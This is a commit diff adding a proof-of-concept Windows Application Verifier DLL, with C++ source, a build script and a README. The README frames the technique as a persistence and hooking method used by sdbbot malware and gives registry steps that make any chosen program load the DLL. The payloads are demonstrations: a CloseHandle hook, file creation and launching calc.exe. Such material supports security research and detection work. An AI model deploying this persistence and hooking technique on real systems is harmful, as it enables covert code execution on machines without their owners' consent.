summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--README.md48
-rw-r--r--make.bat4
-rw-r--r--verifier.cpp96
-rw-r--r--verifier.h36
4 files changed, 184 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..ded5576
--- /dev/null
+++ b/README.md
@@ -0,0 +1,48 @@
+# VerifierDLLs
+
+This is an example of a Windows Application Verifier. This Windows
+feature lets developers import an arbitrary DLL into any application
+upon execution for testing/debugging purposes. It can be abused as a
+persistence mechanism, or to hook functions in a manner similar to
+LD_PRELOAD on *nix systems.
+
+
+https://docs.microsoft.com/en-us/previous-versions/visualstudio/visual-studio-2008/ms220948(v=vs.90)?redirectedfrom=MSDN
+
+Verifier DLLs will be loaded with the fdwReason parameter of DllMain()
+set to DLL_PROCESS_VERIFIER rather than DLL_PROCESS_ATTACH like a
+traditional DLL.
+
+Applicaion Verifiers have been abused as a persistence mechanism by
+sdbbot malware:
+
+https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
+
+```
+If the bot is running with admin privileges on a Windows version
+newer than Windows 7, persistence is established using the registry
+“image file execution options” method. The loader DLL component is
+written to “%SYSTEM%\mswinload0[.]dll” and added to the “VerifierDlls”
+value for “winlogon[.]exe”.
+```
+
+
+
+## Compiling
+`make.bat` will build this within a Developer Command Prompt.
+
+Architecture matters. Use the appropriate Developer Command Prompt
+shell and compiler to build this.
+
+## Installing
+
+1. Copy DLL to System32 folder
+2. Add registry key:
+`HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PROGRAM.EXE`
+
+Values:
+* GlobalFlags REG_DWORD 256
+* VerifierDlls REG_SZ vrf.dll
+
+With this example configuration, vrf.dll will be loaded by PROGRAM.EXE
+each time it is ran.
diff --git a/make.bat b/make.bat
new file mode 100644
index 0000000..2e633fb
--- /dev/null
+++ b/make.bat
@@ -0,0 +1,4 @@
+@ECHO OFF
+
+:: compile verifier dll
+cl.exe /W0 /D_USRDLL /D_WINDLL verifier.cpp /MT /link /subsystem:console /DLL /OUT:vrf.dll
diff --git a/verifier.cpp b/verifier.cpp
new file mode 100644
index 0000000..9a2efd4
--- /dev/null
+++ b/verifier.cpp
@@ -0,0 +1,96 @@
+/* VerifierDll example:
+ * https://docs.microsoft.com/en-us/archive/blogs/reiley/a-debugging-approach-to-application-verifier
+ *
+ * Hooking example:
+ * https://github.com/ionescu007/HookingNirvana/blob/master/verif.dll/verif.c
+ *
+ *
+ * To use:
+ * New subkey: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\whatever.exe
+ * GlobalGlag REG_DWORD 256 (0x00000100)
+ * VerifierDlls REG_SZ whatever.dll
+ *
+ * "whatever.dll" must be placed into System32 folder
+ * running "whatever.exe" will now import this DLL whenever it is run.
+ *
+ * This works on XP -> 10
+ */
+
+#include <Windows.h>
+#include "verifier.h"
+
+
+typedef BOOL (WINAPI* PCLOSE_HANDLE)(HANDLE);
+BOOL WINAPI CloseHandleHook(HANDLE hObject);
+
+
+/* Thunks https://en.wikipedia.org/wiki/Thunk */
+
+
+/* Hook functions here. */
+static RTL_VERIFIER_THUNK_DESCRIPTOR aThunks[] = {
+ { "CloseHandle", NULL, (PVOID)(ULONG_PTR)CloseHandleHook},
+ {NULL, NULL, NULL}
+};
+
+static RTL_VERIFIER_DLL_DESCRIPTOR atDLLs[] = {
+ { L"kernel32.dll", 0, NULL, aThunks}, // CloseHandle()
+ {NULL, 0, NULL, NULL}
+};
+
+static RTL_VERIFIER_PROVIDER_DESCRIPTOR tVpd = { sizeof(RTL_VERIFIER_PROVIDER_DESCRIPTOR), atDLLs };
+
+
+/* CloseHandle() hook. This creates a file for demonstration
+ purposes. */
+BOOL WINAPI CloseHandleHook(HANDLE hObject)
+{
+ HANDLE h;
+ BOOL fRetVal = ((PCLOSE_HANDLE)(ULONG_PTR)(aThunks[0].ThunkOldAddress))(hObject);
+ h = CreateFile("C:\\users\\dmfr\\foo\\hooked.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
+ CloseHandle(h);
+ return fRetVal;
+}
+
+/* This will run calc.exe when this verifierdll is loaded for
+ demonstration purposes. */
+void ModuleLoaded(void)
+{
+ STARTUPINFO info = { sizeof(info) };
+ PROCESS_INFORMATION processInfo;
+
+ CreateProcess("c:\\windows\\system32\\calc.exe", "", NULL, NULL, TRUE, 0, NULL, NULL, &info, &processInfo);
+}
+
+BOOL ProcessVerifier(IN PVOID lpReserved)
+{
+ *((PRTL_VERIFIER_PROVIDER_DESCRIPTOR *)lpReserved) = &tVpd;
+
+ CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ModuleLoaded, 0, 0, 0);
+
+ return TRUE;
+}
+
+
+/* DllMain() - Entry point. */
+BOOL WINAPI DllMain(HINSTANCE hModule, DWORD fdwReason, LPVOID lpReserved)
+{
+ HANDLE h;
+ UNREFERENCED_PARAMETER(hModule);
+
+ switch (fdwReason) {
+ case DLL_PROCESS_VERIFIER:
+ /* Create a file to demonstrate that the DLL has loaded. */
+ h = CreateFile("C:\\users\\dmfr\\foo\\opened.txt", GENERIC_WRITE, 0, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
+ CloseHandle(h);
+ return ProcessVerifier(lpReserved);
+
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+
+ return TRUE;
+}
diff --git a/verifier.h b/verifier.h
new file mode 100644
index 0000000..f8ae50e
--- /dev/null
+++ b/verifier.h
@@ -0,0 +1,36 @@
+#pragma once
+
+#include <Windows.h>
+
+#define DLL_PROCESS_VERIFIER 4
+
+typedef VOID (NTAPI * RTL_VERIFIER_DLL_LOAD_CALLBACK) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
+typedef VOID (NTAPI * RTL_VERIFIER_DLL_UNLOAD_CALLBACK) (PWSTR DllName, PVOID DllBase, SIZE_T DllSize, PVOID Reserved);
+typedef VOID (NTAPI * RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK) (PVOID AllocationBase, SIZE_T AllocationSize);
+
+typedef struct _RTL_VERIFIER_THUNK_DESCRIPTOR {
+ PCHAR ThunkName;
+ PVOID ThunkOldAddress;
+ PVOID ThunkNewAddress;
+} RTL_VERIFIER_THUNK_DESCRIPTOR, *PRTL_VERIFIER_THUNK_DESCRIPTOR;
+
+typedef struct _RTL_VERIFIER_DLL_DESCRIPTOR {
+ PWCHAR DllName;
+ DWORD DllFlags;
+ PVOID DllAddress;
+ PRTL_VERIFIER_THUNK_DESCRIPTOR DllThunks;
+} RTL_VERIFIER_DLL_DESCRIPTOR, *PRTL_VERIFIER_DLL_DESCRIPTOR;
+
+typedef struct _RTL_VERIFIER_PROVIDER_DESCRIPTOR {
+ DWORD Length;
+ PRTL_VERIFIER_DLL_DESCRIPTOR ProviderDlls;
+ RTL_VERIFIER_DLL_LOAD_CALLBACK ProviderDllLoadCallback;
+ RTL_VERIFIER_DLL_UNLOAD_CALLBACK ProviderDllUnloadCallback;
+ PWSTR VerifierImage;
+ DWORD VerifierFlags;
+ DWORD VerifierDebug;
+ PVOID RtlpGetStackTraceAddress;
+ PVOID RtlpDebugPageHeapCreate;
+ PVOID RtlpDebugPageHeapDestroy;
+ RTL_VERIFIER_NTDLLHEAPFREE_CALLBACK ProviderNtdllHeapFreeCallback;
+} RTL_VERIFIER_PROVIDER_DESCRIPTOR, *PRTL_VERIFIER_PROVIDER_DESCRIPTOR;